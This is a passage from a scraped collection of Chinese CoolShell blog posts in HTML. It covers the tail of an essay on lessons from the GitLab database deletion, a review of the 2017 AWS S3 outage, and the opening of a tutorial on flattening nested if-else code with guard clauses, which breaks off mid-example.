30px;\">其三、像使用mv而不rm，搞一个checklist和一个更重的流程，更糟糕。这里的逻辑很简单，因为，1）这些规则需要人去学习和记忆，本质上来说，你本来就不相信人，所以你搞出了一些规则和流程，而这些规则和流程的执行，又依赖于人，换汤不换药，2）另外，<strong>写在纸面上的东西都是不可执行的，可以执行的就是只有程序，所以，为什么不把checklist和流程写成代码呢</strong>？（你可能会说程序也会犯错，是的，程序的错误是consistent，而人的错误是inconsistent）</p>\n<p>最关键的是，<strong>数据丢失有各种各样的情况，不单单只是人员的误操作，比如，掉电、磁盘损坏、中病毒等等，在这些情况下，你设计的那些想流程、规则、人肉检查、权限系统、checklist等等统统都不管用了，这个时候，你觉得应该怎么做呢？是的，你会发现，你不得不用更好的技术去设计出一个高可用的系统！别无它法。</strong></p>\n<h4>关于备份</h4>\n<p>一个系统是需要做数据备份的，但是，你会发现，<strong>Gitlab这个事中，就算所有的备份都可用，也不可避免地会有数据的丢失，或是也会有很多问题</strong>。理由如下：</p>\n<p style=\"padding-left: 30px;\">1）备份通常来说都是周期性的，所以，如果你的数据丢失了，从你最近的备份恢复数据里，从备份时间到故障时间的数据都丢失了。</p>\n<p style=\"padding-left: 30px;\">2）备份的数据会有版本不兼容的问题。比如，在你上次备份数据到故障期间，你对数据的scheme做了一次改动，或是你对数据做了一些调整，那么，你备份的数据就会和你线上的程序出现不兼容的情况。</p>\n<p style=\"padding-left: 30px;\">3）有一些公司或是银行有灾备的数据中心，但是灾备的数据中心没有一天live过。等真正灾难来临需要live的时候，你就会发现，各种问题让你live不起来。你可以读一读几年前的这篇报道好好感受一下《<a href=\"http://finance.sina.com.cn/money/bank/20140804/091219903553.shtml\" target=\"_blank\">以史为鉴 宁夏银行7月系统瘫痪最新解析</a>》</p>\n<p>所以，在灾难来临的时候，你会发现你所设计精良的“备份系统”或是“灾备系统”就算是平时可以工作，但也会导致数据丢失，而且可能长期不用的备份系统很难恢复（比如应用、工具、数据的版本不兼容等问题）。</p>\n<p>我之前写过一篇《<a href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\">分布式系统的事务处理</a>》，你还记得下面这张图吗？看看 Data Loss 那一行的，在Backups, Master/Slave 和 Master/Master的架构下，都是会丢的。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10942\" height=\"255\" src=\"../wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg\" width=\"566\"/></p>\n<p>所以说，<strong>如果你要让你的备份系统随时都可以用，那么你就要让它随时都Live着</strong>，而随时都Live着的多结点系统，基本上就是一个分布式的高可用的系统。因为<strong>，数据丢失的原因有很多种，比如掉电、磁盘损坏、中病毒等等，而那些流程、规则、人肉检查、权限系统、checklist等等都只是让人不要误操作，都不管用，这个时候，你不得不用更好的技术去设计出一个高可用的系统！别无它法。（重要的事，得再说一篇）</strong></p>\n<p>另外，你可以参看我的另一篇《<a href=\"https://coolshell.cn/articles/17459.html\" target=\"_blank\">关于高可用系统</a>》，这篇文章中以MySQL为例，数据库的replication也只能达到 两个9。</p>\n<p><strong>AWS 的 S3 的的高可用是4个加11个9的持久性（</strong>所谓11个9的持久性durability，AWS是这样定义的，如果你存了1万个对象，那么丢一个的时间是1000万年<strong>），这意味着，不仅仅只是硬盘坏，机器掉电，整个机房挂了，其保证可以承受有两个设施的数据丢失，数据还是可用的。试想，如果你把数据的可用性通过技术做到了这个份上，那么，你还怕被人误删一个结点上的数据吗？</strong></p>\n<h5>非技术方面</h5>\n<p><strong>故障反思</strong></p>\n<p>一般说来，故障都需要反思，在Amazon，S2以上的故障都需要写COE（Correction of Errors），其中一节就是需要Ask 5 Whys，我发现在Gitlab的故障回顾的blog中第一段中也有说要在今天写个Ask 5 Whys。关于Ask 5 Whys，其实并不是亚马逊的玩法，这还是算一个业内常用的玩法，也就是说不断的为自己为为什么，直到找到问题的概本原因，这会逼着所有的当事人去学习和深究很多东西。在Wikipedia上有相关的词条 <a href=\"https://en.wikipedia.org/wiki/5_Whys\" target=\"_blank\">5 Whys</a>，其中罗列了14条规则：</p>\n<ol>\n<li>你需要找到正确的团队来完成这个故障反思。</li>\n<li>使用纸或白板而不是电脑。</li>\n<li>写下整个问题的过程，确保每个人都能看懂。</li>\n<li>区别原因和症状。</li>\n<li>特别注意因果关系。</li>\n<li>说明Root Cause以及相关的证据。</li>\n<li>5个为什么的答案需要是精确的。</li>\n<li>寻找问题根源的步骤，而不是直接跳到结论。</li>\n<li>要基础客观的事实、数据和知识。</li>\n<li>评估过程而不是人。</li>\n<li>千万不要把“人为失误”或是“工作不注意”当成问题的根源。</li>\n<li>培养信任和真诚的气氛和文化。</li>\n<li>不断的问“为什么”直到问题的根源被找到。这样可以保证同一个坑不会掉进去两次。<sup class=\"reference\" id=\"cite_ref-7\"></sup></li>\n<li>当你给出“为什么”的答案时，你应该从用户的角度来回答。</li>\n</ol>\n<p><strong>工程师文化</strong></p>\n<p>上述的这些观点，其实，我在我的以住的博客中都讲过很多遍了，你可以参看《<a href=\"https://coolshell.cn/articles/17497.html\" target=\"_blank\">什么是工程师文化？</a>》以及《<a href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\">开发团队的效率</a>》。其实，说白了就是这么一个事——<strong>如果你是一个技术公司，你就会更多的相信技术而不是管理。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题</strong>。</p>\n<p>这个道理很简单，<strong>数据丢失有各种各样的情况，不单单只是人员的误操作，比如，掉电、磁盘损坏、中病毒等等，在这些情况下，你设计的那些流程、规则、人肉检查、权限系统、checklist等等统统都不管用，这个时候，你觉得应该怎么做呢？是的，你会发现，你不得不用更好的技术去设计出一个高可用的系统！别无它法。（重要的事得说三遍）</strong></p>\n<p><strong>事件公开</strong></p>\n<p>很多公司基本上都是这样的套路，首先是极力掩盖，如果掩盖不了了就开始撒谎，撒不了谎了，就“文过饰非”、“避重就轻”、“转移视线”。然而，面对危机的最佳方法就是——“多一些真诚，少一些套路”，<strong>所谓的“多一些真诚”的最佳实践就是——“透明公开所有的信息”</strong>，Gitlab此次的这个事给大家树立了非常好的榜样。AWS也会把自己所有的故障和细节都批露出来。</p>\n<p><strong>事情本来就做错了，而公开所有的细节，会让大众少很多猜测的空间，有利于抵制流言和黑公关，同时，还会赢得大众的理解和支持</strong>。看看Gitlab这次还去YouTube上直播整个修复过程，是件很了不起的事，大家可以到他们的blog上看看，对于这样的透明和公开，一片好评。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-3-3 AWS 的 S3 故障回顾和思考.html",
    "content": "<html><body><p><img class=\"alignright wp-image-17738\" height=\"197\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down.png\" width=\"360\"/>继<a href=\"https://coolshell.cn/articles/17680.html\" target=\"_blank\">Gitlab的误删除数据事件</a>没几天，“不沉航母” AWS S3 （Simple Storage Service）几天前也“沉”了4个小时，墙外的半个互联网也跟着挂了。如约，按 AWS 惯例，AWS今天给出了一个简单的故障报告《<span class=\"s1\"><a href=\"https://aws.amazon.com/cn/message/41926/\" target=\"_blank\">Summary of the Amazon S3 Service Disruption in the Northern Virginia (US-EAST-1) Region</a>》。这个故障和简单来说和Gitlab一样，也是人员误操作。先简单的说一下这份报中说了什么。</span></p>\n<h4>故障原因</h4>\n<p>简单来说，这天，有一个 AWS 工程师在调查 <span class=\"s1\">Northern Virginia (US-EAST-1) Region 上 S3 的一个和账务系统相关的问题，这个问题是S3的账务系统变慢了（我估计这个故障在Amazon里可能是Sev2级，Sev2级的故障在Amazon算是比较大的故障，需要很快解决），Oncall的开发工程师（注：Amazon的运维都是由开发工程师来干的，所以Amazon内部嬉称SDE-Software Developer Engineer 为 Someone Do Everything）想移除一个账务系统里的一个子系统下的一些少量的服务器（估计这些服务器上有问题，所以想移掉后重新部署），结果呢，有一条命令搞错了，导致了移除了大量的S3的控制系统。包括两个很重要的子系统：</span></p>\n<p><span id=\"more-17737\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>一个是S3的对象索引服务（Index）</strong>，其中存储了S3对象的metadata和位置信息。这个服务也提供了所有的 GET，LIST，PUT 和DELETE请求。</p>\n<p style=\"padding-left: 30px;\">2）<strong>一个是S3的位置服务系统（Placement）</strong>，这个服务提供对象的存储位置和索引服务的系统。这个系统主要是用于处理PUT新对象请求。</p>\n<p>这就是为什么S3不可访问的原因。</p>\n<p>在后面，AWS也说明了一下故障恢复的过程，其中重点提到了这点——</p>\n<p style=\"padding-left: 30px;\">虽然整个S3的是做过充分的故障设计的（注：AWS的七大Design Principle 之一 Design for Failure）—— 就算是最核心的组件或服务出问题了，系统也能恢复。但是，可能是在过去的日子里 S3 太稳定了，所以，AWS 在很长很长一段时间内都没有重启过 S3 的核心服务，而过去这几年，S3 的数据对象存储级数级的成长（S3存了什么样数量级的对象，因为在Amazon工作过，所以多大概知道是个什么数量级，这里不能说，不过，老实说，很惊人的），所以，这两个核心服务在启动时要重建并校验对象索引元数据的完整性，这个过程没想到花了这么长的时候。而Placement服务系统依赖于Index 服务，所以花了更长的时间。</p>\n<p>了解过系统底层的技术人员应该都知道这两个服务有多重要，简而言之，这两个系统就像是Unix/Linux文件系统中的inode，或是像HDFS里的node name，如果这些元数据丢失，那么，用户的所有数据基本上来说就等于全丢了。</p>\n<p>而要恢复索引系统，就像你的操作系统从异常关机后启动，文件系统要做系统自检那样，硬盘越大，文件越多，这个过程就越慢。</p>\n<p>另外，这次，AWS没有使用像以前那样 Outage 的故障名称，用的是 “Increased Error Rate” 这样的东西。我估计是没有把所有这两个服务删除完，估计有些用户是可以用的，有的用户是则不行了。</p>\n<h4>后续改进</h4>\n<p>在这篇故障简报中，AWS 也提到了下面的这些改进措施——</p>\n<p>1）<strong>改进运维操作工具</strong>。对于此次故障的运维工具，有下面改进：</p>\n<ul>\n<li><strong>让删除服务这个操作变慢一些</strong>（陈皓注：这样错了也可以有时间反悔，相对于一个大规模的分布式系统，这招还是很不错的，至少在系统报警时有也可以挽救）</li>\n</ul>\n<ul>\n<li><strong>加上一个最小资源数限制的SafeGuard</strong>（陈皓注：就是说，任何服务在运行时都应该有一个最小资源数，分布式集群控制系统会强行维护服务正常运行的最小的一个资源数）</li>\n</ul>\n<ul>\n<li>举一反三，Review所有和其它的运维工具，保证他们也相关的检查。</li>\n</ul>\n<p>2）<strong>改进恢复过程。</strong>对于恢复时间过长的问题，有如下改进：</p>\n<ul>\n<li><strong>分解现有厚重的重要服务成更小的单元</strong>（在 AWS，Service是大服务，小服务被称之为 Cell），AWS 会把这几个重要的服务重构成 Cell服务。（陈皓注：这应该就是所谓的“微服务”了吧）。这样，服务粒度变小，重启也会快一些，而且还可以减少故障面（原文：blast radius – 爆炸半径）</li>\n</ul>\n<ul>\n<li><strong>今年内完成对 Index 索引服务的分区计划</strong>。</li>\n</ul>\n<p> </p>\n<h4>相关思考</h4>\n<p>下面是我对这一故障的相关思考——</p>\n<p>0）<strong>太喜欢像Gitlab和AWS这样的故障公开了</strong>，那怕是一个自己人为的低级错误。不掩盖，不文过饰非，透明且诚恳。Cool!</p>\n<p>1）这次事件，还好没有丢失这么重要的数据，不然的话，将是灾难性的。</p>\n<p>2）另外，面对在 US-EASE-1 这个老牌 Region 上的海量的对象，而且能在几个小时内恢复，很不容易了。</p>\n<p>3）这个事件，再次映证了我在《<a href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a>》中提到的观点：<strong>一个系统的高可用的因素很多，不仅仅只是系统架构，更重要的是——高可用运维</strong>。</p>\n<p>4）<strong>对于高可用的运维，平时的故障演习是很重要的。</strong>AWS 平时应该没有相应的故障演习，所以导致要么长期不出故障，一出就出个大的让你措手不及。这点，Facebook就好一些，他们每个季度扔个骰子，随机关掉一个IDC一天。Netflix 也有相关的 Chaos Monkey，我以前在的路透每年也会做一次大规模的故障演练——灾难演习。</p>\n<p>5）AWS对于后续的改进可以看出他的技术范儿。可以看到其改进方案是用技术让自己的系统更为的高可用。然后，对比国内的公司对于这样的故障，基本上会是下面这样的画风：</p>\n<p style=\"padding-left: 30px;\">a）加上更多更为严格的变更和审批流程，</p>\n<p style=\"padding-left: 30px;\">b）使用限制更多的权限系统和审批系统</p>\n<p style=\"padding-left: 30px;\">c）使用更多的人来干活（一个人干事，另一个人在旁边看）</p>\n<p style=\"padding-left: 30px;\">d）使用更为厚重的测试和发布过程</p>\n<p style=\"padding-left: 30px;\">e）惩罚故障人，用价值观教育工程师。</p>\n<p>这还是我老生长谈的那句话——<strong>如果你是一个技术公司，你就会更多的相信技术而不是管理。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题</strong>。（注意：这里我并没有隔离技术和管理，只是更为倾向于用技术解决问题）</p>\n<p><strong>最后，你是要建一个 “高可用的技术系统” ，还是一个 “高用的管理系统”？ ;-)</strong></p>\n<p>（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22422.html\"><img alt=\"是微服务架构不香还是云不香？\" height=\"150\" src=\"../wp-content/uploads/2023/05/monolith.microservices-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-4-5 如何重构“箭头型”代码.html",
    "content": "<html><body><p>本文主要起因是，一次在微博上和朋友关于嵌套好几层的if-else语句的代码重构的讨论（<a href=\"http://weibo.com/1401880315/ECmCW0oy2\" rel=\"noopener noreferrer\" target=\"_blank\">微博原文</a>），在微博上大家有各式各样的问题和想法。按道理来说这些都是编程的基本功，似乎不太值得写一篇文章，不过我觉得很多东西可以从一个简单的东西出发，到达本质，所以，我觉得有必要在这里写一篇的文章。不一定全对，只希望得到更多的讨论，因为有了更深入的讨论才能进步。</p>\n<p>文章有点长，我在文章最后会给出相关的思考和总结陈词，你可以跳到结尾。</p>\n<p>所谓箭头型代码，基本上来说就是下面这个图片所示的情况。</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-17758 size-full\" height=\"511\" src=\"../wp-content/uploads/2017/04/IMG_7411.jpg\" width=\"720\"/></p>\n<p>那么，这样“箭头型”的代码有什么问题呢？看上去也挺好看的，有对称美。但是……</p>\n<p>关于箭头型代码的问题有如下几个：</p>\n<p><span id=\"more-17757\"></span></p>\n<p>1）我的显示器不够宽，箭头型代码缩进太狠了，需要我来回拉水平滚动条，这让我在读代码的时候，相当的不舒服。</p>\n<p>2）除了宽度外还有长度，有的代码的<code>if-else</code>里的<code>if-else</code>里的<code>if-else</code>的代码太多，读到中间你都不知道中间的代码是经过了什么样的层层检查才来到这里的。</p>\n<p>总而言之，<strong>“箭头型代码”如果嵌套太多，代码太长的话，会相当容易让维护代码的人（包括自己）迷失在代码中，因为看到最内层的代码时，你已经不知道前面的那一层一层的条件判断是什么样的，代码是怎么运行到这里的，所以，箭头型代码是非常难以维护和Debug的</strong>。</p>\n<h4>微博上的案例 与 Guard Clauses</h4>\n<p>OK，我们先来看一下微博上的那个示例，代码量如果再大一点，嵌套再多一点，你很容易会在条件中迷失掉（下面这个示例只是那个“大箭头”下的一个小箭头）</p>\n<pre class=\"EnlighterJSRAW\">\nFOREACH(Ptr&lt;WfExpression&gt;, argument, node-&gt;arguments) {\n    int index = manager-&gt;expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index != -1) {\n        auto type = manager-&gt;expressionResolvings.Values()[index].type;\n        if (! types.Contains(type.Obj())) {\n            types.Add(type.Obj());\n            if (auto group = type-&gt;GetTypeDescriptor()-&gt;GetMethodGroupByName(L\"CastResult\", true)) {\n                int count = group-&gt;GetMethodCount();\n                for (int i = 0; i &lt; count; i++) { auto method = group-&gt;GetMethod(i);\n                    if (method-&gt;IsStatic()) {\n                        if (method-&gt;GetParameterCount() == 1 &amp;&amp;\n                            method-&gt;GetParameter(0)-&gt;GetType()-&gt;GetTypeDescriptor() == description::GetTypeDescriptor&lt;DescriptableObject&gt;() &amp;&amp;\n                            method-&gt;GetReturn()-&gt;GetTypeDescriptor() != description::GetTypeDescriptor&lt;void&gt;() ) {\n                            symbol-&gt;typeInfo = CopyTypeInfo(method-&gt;GetReturn());\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n</pre>\n<p>上面这段代码，可以把条件反过来写，然后就可以把箭头型的代码解掉了，重构的代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\nFOREACH(Ptr&lt;WfExpression&gt;, argument, node-&gt;arguments) {\n    int index = manager-&gt;expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index == -1)  continue;\n    \n    auto type = manager-&gt;expressionResolvings.Values()[index].type;\n    if ( types.Contains(type.Obj()))  continue;\n    \n    types.Add(type.Obj());\n\n    auto group = type-&gt;GetTypeDescriptor()-&gt;GetMethodGroupByName(L\"CastResult\", true);\n    if  ( ! group ) continue;\n \n    int count = group-&gt;GetMethodCount();\n    for (int i = 0; i &lt; count; i++) { auto method = group-&gt;GetMethod(i);\n        if (! method-&gt;IsStatic()) continue;\n       \n        if ( method-&gt;GetParameterCount() == 1 &amp;&amp;\n               method-&gt;GetParameter(0)-&gt;GetType()-&gt;GetTypeDescriptor() == description::GetTypeDescriptor&lt;DescriptableObject&gt;() &amp;&amp;\n               method-&gt;GetReturn()-&gt;GetTypeDescriptor() != description::GetTypeDescriptor&lt;void&gt;() ) {\n            symbol-&gt;typeInfo = CopyTypeInfo(method-&gt;GetReturn());\n            break;\n        }\n    }\n}\n</pre>\n<p>这种代码的重构方式叫 <strong>Guard Clauses</strong></p>\n<ul>\n<li><a href=\"https://martinfowler.com/\" rel=\"noopener noreferrer\" target=\"_blank\">Martin Fowler</a> 的 Refactoring 的网站上有相应的说明《<a href=\"https://refactoring.com/catalog/replaceNestedConditionalWithGuardClauses.html\" rel=\"noopener noreferrer\" target=\"_blank\">Replace Nested Conditional with Guard Clauses</a>》。</li>\n</ul>\n<ul>\n<li><a href=\"https://blog.codinghorror.com/\" rel=\"noopener noreferrer\" target=\"_blank\">Coding Horror</a> 上也有一篇文章讲了这种重构的方式 —— 《<a href=\"https://blog.codinghorror.com/flattening-arrow-code/\" rel=\"noopener noreferrer\" target=\"_blank\">Flattening Arrow Code</a>》</li>\n</ul>\n<ul>\n<li><a href=\"http://stackoverflow.com/\" rel=\"noopener noreferrer\" target=\"_blank\">StackOverflow</a> 上也有相关的问题说了这种方式 —— 《<a href=\"http://stackoverflow.com/questions/356121/refactor-nested-if-statement-for-clarity\" rel=\"noopener noreferrer\" target=\"_blank\">Refactor nested IF statement for clarity</a>》</li>\n</ul>\n<p>这里的思路其实就是，<strong>让出错的代码先返回，前面把所有的错误判断全判断掉，然后就剩下的就是正常的代码了</strong>。</p>\n<h4>抽取成函数</h4>\n<p>微博上有些人说，continue 语句破坏了阅读代码的通畅，我觉得他们一定没有好好读这里面的代码，其实，我们可以看到，所有的 if 语句都是在判断是否出错的情况，所以，在维护代码的时候，你可以完全不理会这些 if 语句，因为都是出错处理的，而剩下的代码都是正常的功能代码，反而更容易阅读了。当然，一定有不是上面代码里的这种情况，那么，不用continue ，我们还能不能重构呢？</p>\n<p>当然可以，抽成函数：</p>\n<pre class=\"EnlighterJSRAW\">\nbool CopyMethodTypeInfo(auto &amp;method, auto &amp;group, auto &amp;symbol) \n{\n    if (! method-&gt;IsStatic()) {\n        return true;\n    }\n    if ( method-&gt;GetParameterCount() == 1 &amp;&amp;\n           method-&gt;GetParameter(0)-&gt;GetType()-&gt;GetTypeDescriptor() == description::GetTypeDescriptor&lt;DescriptableObject&gt;() &amp;&amp;\n           method-&gt;GetReturn()-&gt;GetTypeDescriptor() != description::GetTypeDescriptor&lt;void&gt;() ) {\n        symbol-&gt;typeInfo = CopyTypeInfo(method-&gt;GetReturn());\n        return false;\n    }\n    return true;\n}\n\nvoid ExpressionResolvings(auto &amp;manager, auto &amp;argument, auto &amp;symbol) \n{\n    int index = manager-&gt;expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index == -1) return;\n    \n    auto type = manager-&gt;expressionResolvings.Values()[index].type;\n    if ( types.Contains(type.Obj())) return;\n\n    types.Add(type.Obj());\n    auto group = type-&gt;GetTypeDescriptor()-&gt;GetMethodGroupByName(L\"CastResult\", true);\n    if  ( ! group ) return;\n\n    int count = group-&gt;GetMethodCount();\n    for (int i = 0; i &lt; count; i++) { auto method = group-&gt;GetMethod(i);\n        if ( ! CopyMethodTypeInfo(method, group, symbol) ) break;\n    }\n}\n\n...\n...\nFOREACH(Ptr&lt;WfExpression&gt;, argument, node-&gt;arguments) {\n    ExpressionResolvings(manager, arguments, symbol)\n}\n...\n...\n</pre>\n<p>你发出现，抽成函数后，代码比之前变得更容易读和更容易维护了。不是吗？</p>\n<p>有人说：“如果代码不共享，就不要抽取成函数！”，持有这个观点的人太死读书了。函数是代码的封装或是抽象，并不一定用来作代码共享使用，函数用于屏蔽细节，让其它代码耦合于接口而不是细节实现，这会让我们的代码更为简单，简单的东西都能让人易读也易维护。这才是函数的作用。</p>\n<h4>嵌套的 if 外的代码</h4>\n<p>微博上还有人问，原来的代码如果在各个 if 语句后还有要执行的代码，那么应该如何重构。比如下面这样的代码。</p>\n<pre class=\"EnlighterJSRAW\">\n//原版\nfor(....) {\n    do_before_cond1()\n    if (cond1) {\n        do_before_cond2();\n        if (cond2) {\n            do_before_cond3();\n            if (cond3) {\n                do_something();\n            }\n            do_after_cond3();\n        }\n        do_after_cond2();\n    }\n    do_after_cond1();\n}</pre>\n<p>上面这段代码中的那些 <code>do_after_condX()</code> 是无论条件成功与否都要执行的。所以，我们拉平后的代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n//重构第一版\nfor(....) {\n    do_before_cond1();\n    if ( !cond1 ) {\n        do_after_cond1();\n        continue\n    } \n    do_after_cond1();\n\n    do_before_cond2();\n    if ( !cond2 ) { \n        do_after_cond2();\n        continue;\n    }\n    do_after_cond2();\n\n    do_before_cond3();\n    if ( !cond3 ) {\n        do_after_cond3();\n        continue;\n    }\n    do_after_cond3();\n\n    do_something();  \n}</pre>\n<p>你会发现，上面的 <code>do_after_condX</code> 出现了两份。<strong>如果 if 语句块中的代码改变了某些<code>do_after_condX</code>依赖的状态，那么这是最终版本。</strong></p>\n<p>但是，如果它们之前没有依赖关系的话，根据 DRY 原则，我们就可以只保留一份，那么直接掉到 if 条件前就好了，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n//重构第二版\nfor(....) {\n    do_before_cond1();\n    do_after_cond1();\n    if ( !cond1 ) continue;\n \n    do_before_cond2();\n    do_after_cond2();\n    if ( !cond2 ) continue;\n\n    do_before_cond3();\n    do_after_cond3();\n    if ( !cond3 ) continue;\n\n    do_something();  \n}</pre>\n<p>此时，你会说，我靠，居然，改变了执行的顺序，把条件放到 <code>do_after_condX()</code> 后面去了。这会不会有问题啊？</p>\n<p>其实，你再分析一下之前的代码，你会发现，本来，cond1 是判断 do_before_cond1() 是否出错的，如果有成功了，才会往下执行。而 do_after_cond1() 是无论如何都要执行的。从逻辑上来说，do_after_cond1()其实和do_before_cond1()的执行结果无关，而 cond1 却和是否去执行 do_before_cond2() 相关了。如果我把断行变成下面这样，反而代码逻辑更清楚了。</p>\n<pre class=\"EnlighterJSRAW\">\n//重构第三版\nfor(....) {\n\n    do_before_cond1();\n    do_after_cond1();\n\n\n    if ( !cond1 ) continue;  // &lt;-- cond1 成了是否做第二个语句块的条件\n    do_before_cond2();\n    do_after_cond2();\n\n    if ( !cond2 ) continue; // &lt;-- cond2 成了是否做第三个语句块的条件\n    do_before_cond3();\n    do_after_cond3();\n\n    if ( !cond3 ) continue; //&lt;-- cond3 成了是否做第四个语句块的条件\n    do_something(); \n 